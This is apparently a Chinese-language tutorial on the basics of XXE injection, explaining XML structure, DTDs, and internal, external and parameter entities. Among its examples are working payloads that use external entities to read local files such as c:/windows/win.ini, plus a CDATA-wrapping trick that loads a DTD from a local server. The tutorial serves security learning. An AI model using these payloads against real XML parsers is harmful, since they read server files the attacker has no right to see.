XXE-基础

XML文档结构

<?xml version="1.0" encoding="utf-8"? > //文档声明
<students>                      //根标签
<student>                          //子标签
<name>小明</name>
</student>
<student name="小红" />
</students>
- 所有 XML 元素都须有关闭标签。
- XML 标签对大小写敏感。
- XML 必须正确地嵌套。
- XML 文档必须有根元素。
- XML 的属性值须加引号

DTD和实体

xxe注入里最关键的知识就是DTD和实体

DTD:文档类型定义

类似下面这样,下面这个DTD就定义了xml文档结构,同时DTD还可以定义一些变量(实体),且可以外联引用DTD

<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>

实体:

我们还能在 DTD 中定义实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe "test" >]>
<creds>
<user>&xxe;</user>
</creds>

实体分为内部实体和外部实体,上面的就是内部实体,xxe注入中外部实体是关键

<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "file:///c:/test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

常用:

<!DOCTYPE root-element SYSTEM "file://xxx">
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

实体也分为参数实体和通用实体

通用实体 用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile 
[
    <!ENTITY file SYSTEM "file:///c:/windows/win.ini"> 
]> 
    <updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用 (2)只有在 DTD 文件中,参数实体的声明才能引用其他实体 (3)和通用实体一样,参数实体也可以==外部引用==

<!DOCTYPE updateProfile
    [
        <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
        <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
        %an-element; %remote-dtd;
    ]>

CDATA区、特殊字符

<![CDATA[  括住不想解析的内容    ]]>
&  &amp;
<  &lt;
>  &gt;
"  &quot;
'  &apos;
例如:
<TitleName>&quot;姓名&quot;</TitleName>

*文件内容有特殊符号情况下* 会对XML解释器生成错误

解决此状况就可以使用参数实体:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://127.0.0.1/XXE/test0.dtd">
%dtd; ]>

<test>&all;</test>

Test0.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
0%